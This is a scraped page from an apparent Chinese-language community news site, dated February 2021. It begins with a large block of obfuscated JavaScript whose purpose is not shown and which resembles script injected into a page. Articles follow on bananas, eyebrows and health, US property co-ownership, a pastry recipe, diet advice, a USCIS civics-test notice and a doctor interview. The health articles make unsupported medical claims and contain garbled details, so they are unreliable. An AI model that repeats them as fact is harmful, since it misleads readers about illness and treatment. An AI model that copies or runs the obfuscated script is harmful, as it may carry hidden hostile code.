]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-02-24 / by / in , , ,
终于知道香蕉多么厉害,后悔以前吃的太少了

终于知道香蕉多么厉害/香蕉功用/香蕉后悔以前吃的太少

香蕉可是很常见又常吃的水果之一,具有丰富的营养价值,吃起来也非常方便,还有超棒的健康功效。

1、抑郁症:患抑郁症的人,在吃过香蕉后,感觉好好多。因为香蕉含胺基酸,会转化成血清促进素,令人松驰、提升情绪。

2、贫血:香蕉铁质含量高,能刺激血液内的血色素。

3、脑力:在英国就有200名学生,为了要提升脑力,帮助考试,在学期开始,于早餐、小休和午饭,都吃适量香蕉。研究显示,含丰富钾质的香蕉,能提高学生的专注力,对他们读书有所帮助。

4、高血压:香蕉含极高量的钾,但盐份低,最理想是降血压。最近,美国食品及药物管理局宣布,允许香蕉业宣传:香蕉能降低血压高和中风机会。


血压监测 

5、便泌:香蕉的纤维质很高,可帮助回复肠胃正常活动,消除便泌,无需服用轻泻剂。

6、宿醉:香蕉奶加蜜糖可以实时解酒。香蕉松驰胃部,蜜糖提升血糖水平,抒缓精神和制做炭水化合物。

7、心绞痛:香蕉对身体有一种天然的制酸性,有镇痛作用。

8、早上无精打采:早餐后、午饭前,吃少量香蕉可保持血糖水平,保持活力状态。

9、蚊钉虫咬:用香蕉皮内部轻擦患处,可退肿消炎。

10、紧张:香蕉的维生素B含量高,可帮助抒缓神经系统。

11、超重:澳地利心理学学校研究发现,工作压力大,使员工会不断进食巧力克和薯片去抒缓情绪。研究员对5000名医院的病人做研究,发体型肥胖的,通常都是司职压力非常大的工作。研究总结认为,要避免引起对抒缓情绪食物的欲念,就应该约每两小时吃一点高碳水化合物的食物,比如香蕉,以降低身体内的血糖水平。

12、胃溃疡:香蕉是调理肠胃失调的食方,因为香蕉有着柔软的纤维而且柔滑。对于长期患者来说,香蕉是唯一可以进食的未煮熟食物,而不会有不良反应。香蕉还可以中和胃酸和减少疼痛。

13、控制体温:在不同国家、地区和文化中,都有把香蕉作为一种“降温”的果物,可以用作降低身、心的热度。在泰国,孕妇为了使婴儿出生时有较为凉快的环境,临盆时就会吃香蕉。


戒烟 

14、戒烟:香蕉可以帮助戒烟。香蕉含维生素B6和B12,也含钾和镁,可以复元戒烟者,因为没有了尼古丁刺激的影响。

15、压力:香蕉所含的钾,可以调节心跳使之正常化,从而将氧气顺利送到大脑,与及调节身体的水份。当受到压力紧张时,我们的新陈代谢就会加快,因而使钾的水平下降。钾含量高的香蕉,正好作为补充。

16、中风:据某著名医学杂志的研究指出,长期吃香蕉,中风死亡的机会率降低40%。

17、缓解眼睛干涩:在计算机前工作的人常常会觉得眼睛干涩或红肿、疼痛,如果每天吃一根香蕉,就能起到一定的缓解作用。香蕉保护眼睛的功能首先和其中含量丰富的钾有关。人体摄入盐份过多,会导致细胞中存留大量的水分,引起眼睛红肿。香蕉中的钾可以帮助人体排出这些多余的盐分,让身体达到钾钠平衡,缓解眼睛的不适症状。

此外,香蕉中含有大量的胡萝素。当人体缺乏这种物质时,眼睛就会变得疼痛、干涩、眼珠无光、失水少神,多吃香蕉不仅可减轻这些症状,还可在一定程度上缓解眼睛疲劳,避免其过早衰老。

2021-02-24 / by / in
眉毛长短决定寿命,出现这个信号,可能是大病征兆!

从眉毛看健康/张仲景看眉毛/保养眉毛/眉毛替换

1800年东汉末年,流传着一个医圣张仲景的故事:就是张仲景行医时,遇到一位时年20多岁年轻人,当时年代的文学家王粲,三句不离本行,出于职业习惯,张仲景“望”了“望”王粲,竟诊出了他20年后病的征兆。

告诉王粲说,你已经患病了,应该及早治疗。如若不然,再过20年,你的眉毛就会取代。眉毛替换后半年,就会死去。王粲始终认为张仲景的话不足为信。结果,20年后的某一天,王粲的眉毛果然慢慢替换,半年后,就病逝了,年仅41岁。


张仲景东汉末年著名医学家。中国古代四大名医之一。

其实五脏六腑的盛衰和局部都会通过精血津液等介质表现于体表,老中医说,过去把眉毛叫保寿官,拥有疏朗而整齐的眉毛者最长寿。事实上,眉毛就是健康晴雨表,不用去医院体检,一些后果,通过眉毛就会出现出来。

从眉毛看健康


眉毛疏朗整齐最高好

1.眉毛变长易衰老

一般老年人的眉毛会比较长,年轻人的眉毛比较短,这是为什么呢?因为眉毛长而旺盛是衰老的征兆之一。

古人常说,“眉长者而寿久”,其实眉毛变长和活得是否长久关系不大,却是衰老的征兆之一,眉毛变长是身体机能的调节机制开始出现功能降低的表现。

解决:常按不老穴

如果发现眉毛开始变长且逐渐变得旺盛,一定要引起公认的了,调节饮食和生活习惯,保持一定的食欲是抵抗衰老最好的方法之一,其次就是要多增加运动,每天健步走半小时以上,不能让机体一直处于“悠闲”状态,否则身体就如零件一般,不用就会损坏。

专家推荐,合谷穴与内关穴是人体自带的不老穴,只要有时间,随时随地都能按。

需要注意的是,抑制时以穴位局部有酸胀感为宜,不过合谷穴孕妇禁按。

2.眉毛干枯:肺不好

如果不考虑到肺气不足的现象会引发肺部疾病,外在则表现为咳嗽,咳血,气短有时会出现胸闷现象。因此,眉毛出现干枯现象时,一定要多加留意肺部健康。

解决:多笑多吃白

中医有“常笑宣肺”一说,大笑能使肺扩张,还可以清除呼吸道“浊气”。人在开怀大笑时,可吸收更多的氧气,氧气穿过血液行遍全身,让身体的每个细胞都充满活力。

养肺要多吃白色食物,例如银耳,百合,花生,白菜,萝卜,冬瓜,莲藕,山药等,除了日常的煎炒蒸煮外,比较理想的烹饪方式还是煲汤熬粥,如白萝卜花生汤,大白菜汤,冬瓜汤,莲藕汤,百合莲子小米粥等。

3.眉毛上翘:易得膀胱炎

膀胱是人体内部负责排尿的生物体,其一旦出现问题将会影响身体。此处所说的眉毛上翘,不是说眉毛本身的形状,而是毛发本身出现了上翘。整体的运行与健康,严重者将会导致膀胱癌。

尿液中的毒素无法及时排除体外,将会集聚在体内。眉毛上翘还反应了身体内部毒素过多,是身体发出的排毒信号。

解决:多喝水不憋尿

把每天喝6〜8杯的白开水当做是健康饮食的一部分,并且把酒精和咖啡因的吸收降到非常低。

另外不要憋尿,注意清洁卫生,保持内裤清洁,穿棉质的内裤,避免合成纤维制品,否则会妨碍适当的空气流通以及促进细菌的生长。

4.眉毛置换:气血不足

如果眉毛出现不正常脱落,身体可能出了状况,不同的眉毛替代方式也代表这不同的疾病。

眉毛淡疏易落者,多见于气血衰弱,体弱多病者,此类患者容易手脚冰冷,肾气也较弱。

甲状腺功能减退症及脑垂体前叶功能减退症患者,眉毛经常容易脱落,尤其以眉毛外侧1/3处最明显。多数患者会出现反应迟钝,头晕眼花,耳聋耳鸣等现象,更为严重的患者将会导致痴呆。

斑秃患者,也可同时出现眉毛替换症状。癌症,梅毒,严重贫血也可能引起眉毛脱落,有些抗癌或抗代谢药物也有这种并发症。

解决:桂圆百合枣仁茶

这是出自《金匮要略》的加减方,有补血养气,清肝泻火,助眠安神,镇定除燥的作用。

做法:取百合10克,炒酸枣仁10g,茯苓5克,桂圆5克,枸杞子3克,小麦3克,材料洗净,放入适量清水锅中,用大火烧开后后转小火再焖5分钟,分两次喝完,午休前,睡前各相连一次。不想熬煮的,还可以用配好的桂圆百合枣仁茶包泡水喝。


整齐的眉毛并非是美人的象征,也是健康的体现

护眉就是护健康

眉毛两头的一处风景,还和身体内部的健康紧密相连,但是99%的人都不知道,眉毛也需要护理。

经常清洗眉毛

基本上,这并没有达到清洗眉毛根部的功效。眉毛根部会有眉毛分泌出的油脂,如果长期得不到清洗将会堵住眉毛附近的皮肤,不利于眉毛生长。

经常梳理眉毛

眉毛和头发一样需要梳理,每天除了梳头,也要经常梳理按摩眉毛部位。

不要拔眉毛

很多女性朋友有拔眉毛的习惯,这个习惯可一定要改。拔眉毛皮肤和毛囊遭到破坏,长期如此,眉毛生长就会变得不规则。而且,拔完眉毛后,细菌还可能会乘虚而入,由此带来了患继发性毛囊炎的风险。

最最重要的一点,长期拔眉毛之上眼睑周围的皮肤松弛,眼皮松弛老十岁,而且是不可逆的!

眉毛是健康的提示器,及时发现病灶并清除,才能健健康康活到天年!

2021-02-24 / by / in
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2021-02-23 / by / in , , ,
纽约房地产律师郭凤丽律师讲解房产共有关系的三种情况

在我们华人大家庭中,经常出现大家共同购房的情况。出现两个以上的屋主在法律上就会涉及到共有关系。在法律上的房产的共有关系一共有三个情况。

 

第一种类型叫按份共有。法律上的术语叫Tenants in common,这个意思就是说不同的屋主可以按照不同的份额来拥有这套房产。举个例子,比如说兄弟两个购买这个房产,大家可以在房契上写清楚,哥哥拥有50%的产权,弟弟拥有50%的产权,这个就叫按份共有,一个人一份的。

 

第二种情况叫Joint tenants with the right of survivorship,翻译成中文叫共同共有加长命契的形式,意思就是说,如果两个屋主都在世的时候,这个份额是大家共同拥有的;但是如果一个屋主先去世了,那么存活的这个屋主就会自动享有全部的产权。这种情况经常出现在父母子女之间,比如爸爸妈妈和小孩买了这个房子,那么大家经常写上共同共有加长命契,万一哪天,自然规律父母先走掉了,这个房产就可以100%过到小孩的名下。这种情况不需要交遗产税,也不需要走遗产法院的法律程序。

 

对比刚才第一种情况按份共有,如果大家写清楚份额了,如果一方的屋主去世了,那去世的屋主的份额就属于他的遗产,就要走遗产法院的程序。或者它的价值高到一定程度的话,还有可能要交遗产税。

 

第三种共有形式是夫妻之间特有的一种共有形式,法律上叫Tenants by the entirety. 是说夫妻都在世的时候大家共同拥有,如果一方去世的话,存活的这一方会100%自动拥有这个产权。之所以把第三种情况单独列出来,是考虑到夫妻共同购房,可能在将来两个人不想共同生活了,想要离婚,那就会适用离婚时的安排。

 

在买房时,到底自己的家庭适用以上三种情况中的哪一种呢?这个要根据自己家庭的实际情况,比如财务状况、血缘关系、亲属关系或以后的财务规划,每个家庭的情况不一样。如果不是很肯定最终采取哪种共有形式,可以找专业的律师咨询。

2021-02-23 / by / in
纽约房地产律师郭凤丽–帮您购房置业、增值财富 718-888-8720

全美房价在过去的一年里普遍疯涨。不论是买房自住,还是用于投资都能使财富保值,还能增值,所以很多人愿意将手中的闲钱投入到房产中,来实现自己财富增值的目的。

郭凤丽律师从2002年起在纽约开始执业,专精房地产和商业交易,已有近20年的经验。成功帮助数千客户交易过户,赢得了普遍的赞誉和信任。郭律师深深知道,房地产和商业交易涉及到很多繁琐的细节和复杂的进程,因此一个顺利的交易过程离不开律师的专业服务和及时有效的沟通。如果没有专业的服务或者没有及时有效的跟进,那么很可能交易过程会出现状况,甚至损害当事人的利益。

 

 

郭凤丽律师给自己定的原则是:要重质量而不是数量,她不会为了多接几个案子而糊弄了事。在处理案件的过程中,郭律师一定会确保从签约到产权报告到过户的各个环节都要及时的跟进,有效的沟通,最大限度保障客户的利益。

郭凤丽律师精通美国各州尤其是纽约州的房地产、商业相关法律,又有丰富的实践经验,她会定期在网站和YouTube上分享关于房地产和商业交易的法律知识和案例分析,敬请关注!也欢迎有需要的客户与她联系:

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2021-02-23 / by / in
超级酥的老婆饼 在家就能做(视频)

老婆饼/酥脆/软糯香甜

老婆饼是非常好吃的小甜点,人见人爱,表皮酥脆,馅软糯香甜。

但超市买的老婆饼都很贵,老婆饼做法很简单,也没有什么技术要求,周末的时候大家不妨自己在家里做,给家人带来一个温馨愉快的时光~

材料:

面团部分:

中筋面粉 150克,黄油 35克,麦芽糖 20克,80°C热水 60克

油酥面部分:

中筋面粉 90克,黄油 55克,

馅料部分:

黄油 20克,清水 65克,白糖40克,糯米粉 40克,椰蓉 10克,熟芝麻 5克,

做法:

烤箱事先预热180°C

1. 和面:将黄油融化后加入到面粉中,在加入麦芽糖,然后倒入60克80°C的热水到面粉中搅拌, 揉成面团后饧15分钟。

2. 做油酥面:面粉中加入融化的黄油,拌匀后备用。

3. 做馅料:锅中放入黄油,在倒入清水和白糖,烧开后加入糯米粉,椰蓉和熟芝麻混合均匀。晾凉后切成均等的小劲子。

4. 成品:将油酥面放入面团里面包好,擀成长方形后,从上到下卷起来,卷好后切成12个小面劲子,用手压薄,将馅料放入,全部都包好后在将它们擀成薄饼,用到划2刀,并划透,再在表面刷一层蛋液,撒少许芝麻,放入烤箱里面烤25分钟即可。

2021-02-23 / by / in ,
风靡日本的饮食忠告(组图)

饮食结构/糖尿病/肥胖/减肥/衰老/自由基/油炸食物/含糖饮料/甜食/烧烤/多喝水

人们都希望自己身体健康,能够寿命长些,那么吃好一日三餐就非常主要,就像大们经常说的民以食为天。

日本AGE牧田专科医院院长,糖尿病专科医生,医学博士牧田善二认为:

在我们家早餐一般吃凉拌菜、包子、米粥和鸡蛋。比起不吃早餐还算比较健康,有时早餐常到包子铺吃上一口。一日三餐中早餐最重要,要吃的有营养。


早餐

元气满满到一天要从早餐开始,吃早餐有很多好处:常吃早餐的人能够降低生病的几率,能够养胃预防胆结石,还能够给一整天带来良好的精神状态。

可是有很多人为了减肥常不吃早餐,或者是早餐随便应付一下,这样反而对身体健康无益。不吃早餐,直到中午才进食,胃长时间处于饥饿状态,会造成胃酸分泌过多,于是容易造成胃炎、胃溃疡。

健康很重要,所以吃什么?什么时间吃?怎样饮食就很关键。

饮食结构的思考

人们都希望自己能够寿命长些,可是随着生活水平的提高,中老年人得糖尿病越来越普遍,且有十几岁的孩子得了糖尿病,不得不引发我们对于饮食结构的思考。

无论男女,我们都很注重的身材,一旦发现自己体重增加就试着用各种方法减肥。因为肥胖者容易增加患病的几率,而且会导致易疲劳,做事犯困,注意力不能持续集中等的问题。


减肥

减肥瘦身除了爱美,能够穿上时尚靓丽的衣服,还为了自己身体保有一个良好的状态。医学博士牧田善二根据自己从医38年的研究和临床经验,为我们揭开了关于肥胖、衰老和疾病的秘密。

 

人为什么会衰老?

因为人在新陈代谢过程中会产生大量氧化物,即自由基。为了抗氧化不少爱美女士会常吃柠檬、橘子、橙子、菠菜、藕等果蔬对抗衰老。

苹果暴露在空气中,时间变得很长,苹果将氧化变黄。随着年龄的增大,身体内的自由基过多,打破身体原有的相对稳定的状态,人也会氧化,皮肤变得暗淡无光,变成黄脸婆。

为了减缓衰老,需要我们能够管住嘴。油炸食物很好吃,我就很喜欢吃炸鸡块、鸡柳、鸡叉骨这类食物,闻着那香味就忍不住买点解馋。

懂得营养学的人都知道,油炸食品是衰老的“加速器”,油炸高温下容易产生有害物质,这些物质不仅致癌,还会引起体内氧化应激反应,导致身体内自由基增多,造成氧化损伤。


油炸食品

油炸食品虽然好吃,但是热量极高,容易引起肥胖,会影响人身体的代谢和内分泌平稳性,所以很多健康达人很少会吃这类食物。

除了油炸食品这类加速身体组织细胞氧化的食物,为了对抗衰老,爱美人士会很少喝含糖饮料、吃甜食、烧烤类食物,为什么呢?

防止体内糖化产物多了,会让皮肤弹性下降、加速皮肤衰老。什么叫糖化呢?

糖化的意思就是指在特定条件下,还原糖中的羰基、蛋白质、脂类、核酸分子中的氨基发生反应,最终生成一个叫AGE的物质,像是身体在“变焦”。

蛋糕、冰淇淋、糖果等这类食物虽然好吃,能够让人心情愉悦,可为了防止自己过早衰老,还是要少食为宜,血糖值是健康管理的关键。


蛋糕 

正常人空腹血糖值是:3.9~6.1mmol/L,血糖偏高不再存在肥胖,少运动,爱喝酒,长期服用某种药物人群,也会存在饮食素食为主,体重保持良好的人群,每天都要控制摄入的“糖类量”。

水果中的糖分三种,果糖,蔗糖,葡萄糖,果糖是最甜的,其次是蔗糖,最后是葡萄糖。

甜的水果,果糖含量高,蔗糖,葡萄糖含量很少。有的水果吃起来明明不甜,可糖分含量却不低,比如“猕猴桃、火龙果、柠檬、草莓等。

水果应该适当摄入,最好是上午食用。你可以用一天的时间来慢慢代谢它,注意不能空腹吃水果。

果糖是特别适合被储存起来的糖原。所以果糖进到体内以后,它就立刻会被留下来。

人体需要胰岛素才能够代谢糖,胰岛素把糖加工成糖原,存贮在肌肉里边,我们的肌肉只要一运动,才能将这个糖原消耗掉,转化为能量。

人储存糖原是有限的,多余的糖会变成甘油三酯。它会堵塞我们的血管,使我们变胖,在我们的脂肪肝上面沉淀,会导致我们肥胖和生病。

饮食的建议


控制对糖的摄取

想要身体健康,饮食上与其控制热量,控制脂肪,不如从根本上控制对糖类的摄取。杜绝罐装咖啡、清凉饮料和果汁,少食加糖的点心,精粮也要减少​​食用次数。

适当的运动运动有效将糖分代谢,“饭后百步走,活到九十九”,饭后20分钟有氧运动,能够很快地让你的血糖值下降。

饮食顺序也要有所调整,我们通常边吃米饭边吃菜,为了保持正常血糖值,进食的顺序要掌握,每餐吃饭的时候先吃蔬菜,再吃蛋白质,最后摄入淀粉类食物,要做到细嚼慢咽。


多喝水

多喝水,每天至少要喝两升水。如果血糖含量高,多喝点水有助于它下降,可以将体内的糖稀释。多喝水还可以加快尿液的排出,然后将体内新陈代谢中所产生的废物排出于体外,而且还可以减轻肾脏的负担,避免肾结石的发生,可谓是好处多多。

为了健康,为了长寿,我们要能够管住嘴,迈开腿。

对此医学博士牧田善二给出多条建议比如“多食用海藻和蘑菇、平衡摄取动物性蛋白和植物性蛋白,少食多餐,早中晚用餐量控制在3:5:2等。

2021-02-23 / by / in
更新!最新入籍考试试题中英文对照版本!2021年最新美国入籍考试100题及128题!移民入籍考试3月1日起恢复2008年版本测试;

美国移民局恢复为2008年版本的入籍公民入籍考试!
发布日期
02/22/2021
美国移民局服务部今天宣布,将从2021年3月1日开始,恢复2008年版本的入籍公民考试。

2020年12月1日,USCIS实施了修订的入籍公民测试(2020公民测试),作为十年期测试审查和更新过程的一部分。美国公民及移民服务局(USCIS)确定2020年公民测试的开发过程,内容,测试程序和实施时间表可能会无意中为入籍过程造成潜在障碍。该行动与《关于在我们的合法移民系统中恢复信仰的行政命令》框架相一致,该命令指导对入籍程序进行全面审查,以消除障碍,并使所有合格个人都可以更轻松地访问该程序。

2008年的公民测验经过多年发展,经过150多个组织的广泛参与,其中包括英语作为第二语言的专家,教育家和历史学家,并在实施之前进行了试点。美国公民及移民服务局(USCIS)希望按照拜登总统(Biden)要求彻底审查该程序的要求,尽可能简化该程序。

公民考试适用于通过入籍申请美国国籍的申请人,这是入籍的法定要求之一。申请人必须证明对美国历史,原则和政府形式的基本知识和理解。入籍的决定表明了对该国的投资和承诺。美国公民及移民服务局(USCIS)致力于管理作为公民学习工具的考试,并在考试准备过程中促进公民融合。

在2020年12月1日或之后以及2021年3月1日之前提交入籍申请的申请人可能正在研究2020年测试;因此,USCIS将为这些申请人提供参加2020年公民测试或2008年公民测试的选择。这将提供两个测试的过渡期。面向初试者的2020年考试将于2021年4月19日淘汰。在2021年3月1日当天或之后提交的申请者将参加2008年公民测试。

测试项目和学习指南可在USCIS网站的公民资源中心找到。美国公民及移民服务局还相应地更新了政策手册(PDF,444.11 KB);请参阅第12卷E部分,英语和公民测试和例外,第2章,英语和公民测试。

有关USCIS及其程序的更多信息,请访问uscis.govor在Twitter,Instagram,YouTube,Facebook和LinkedIn上关注我们。

 

USCIS Reverts to the 2008 Version of the Naturalization Civics Test

Release Date

WASHINGTON— U.S. Citizenship and Immigration Services announced today it is reverting to the 2008 version of the naturalization civics test beginning March 1, 2021.

On Dec. 1, 2020, USCIS implemented a revised naturalization civics test (2020 civics test) as part of a decennial test review and update process. USCIS determined the 2020 civics test development process, content, testing procedures, and implementation schedule may inadvertently create potential barriers to the naturalization process. This action is consistent with the framework of the Executive Order on Restoring Faith in Our Legal Immigration Systems, which directs a comprehensive review of the naturalization process to eliminate barriers and make the process more accessible to all eligible individuals.

The 2008 civics test was thoroughly developed over a multi-year period with the input of more than 150 organizations, which included English as a second language experts, educators, and historians, and was piloted before its implementation. USCIS aspires to make the process as accessible as possible as directed by President Biden’s request to review the process thoroughly.

The civics test is administered to applicants who apply for U.S. citizenship through naturalization and is one of the statutory requirements for naturalizing. Applicants must demonstrate a knowledge and understanding of the fundamentals of the history, principles, and form of government of the United States. The decision to naturalize demonstrates an investment in and commitment to this country. USCIS is committed to administering a test that is an instrument of civic learning and fosters civic integration as part of the test preparation process.

Applicants who filed their application for naturalization on or after Dec. 1, 2020, and before March 1, 2021, likely have been studying for the 2020 test; therefore, USCIS will give these applicants the option to take either the 2020 civics test or the 2008 civics test. There will be a transition period where both tests are being offered. The 2020 test will be phased out on April 19, 2021, for initial test takers. Applicants filing on or after March 1, 2021, will take the 2008 civics test.

The test items and study guides can be found on the Citizenship Resource Center on the USCIS website. USCIS has also updated the Policy Manual (PDF, 444.11 KB) accordingly; see Volume 12, Part E, English and Civics Testing and Exceptions, Chapter 2, English and Civics Testing.

For more information on USCIS and its programs, please visit uscis.gov or follow us on TwitterInstagramYouTubeFacebook and LinkedIn.

2021-02-22 / by / in , ,
纽约肠胃科专家荆彤博士谈他在约翰.霍普金斯医学院培训期间印象深刻的事

纽约肠胃科专家荆彤医生曾在世界顶级的内科临床培训机构约翰.霍普金斯大学医学院接受过肠胃科临床培训。当被问到在培训过程中有哪些事让他印象深刻,荆彤医生这样说:

首先就是来霍普金斯医学院看病的病人来自世界各地。大家知道,霍普金斯医学院的所在地巴尔的摩不是很大的城市,人口也不多。来这里看病的很多都是从别的地方来的。这些病人在从别的州或别的国家来之前在当地也一定都去医院看过,他不可能一下就买张机票跑得大老远过来看。他一定在当地去看过但是长期看还是解决不了他的问题。所以这种病人到这再来看问题也不是那么容易找到的,因为比较容易找到原因的问题呢,他在当地一定早就解决了。

 

纽约肠胃科专家荆彤博士

 

有的有的病人不是看过一个两个肠胃科的医生,可能已经一打的肠胃科医生都看过了,都没找出问题。这些病人就慕名来霍普金斯医学院看,因为各方面实力都很強,不但是肠胃科的主治医生经验丰富,影像科的医生、实验室病理检查的医生水平都很高。

 

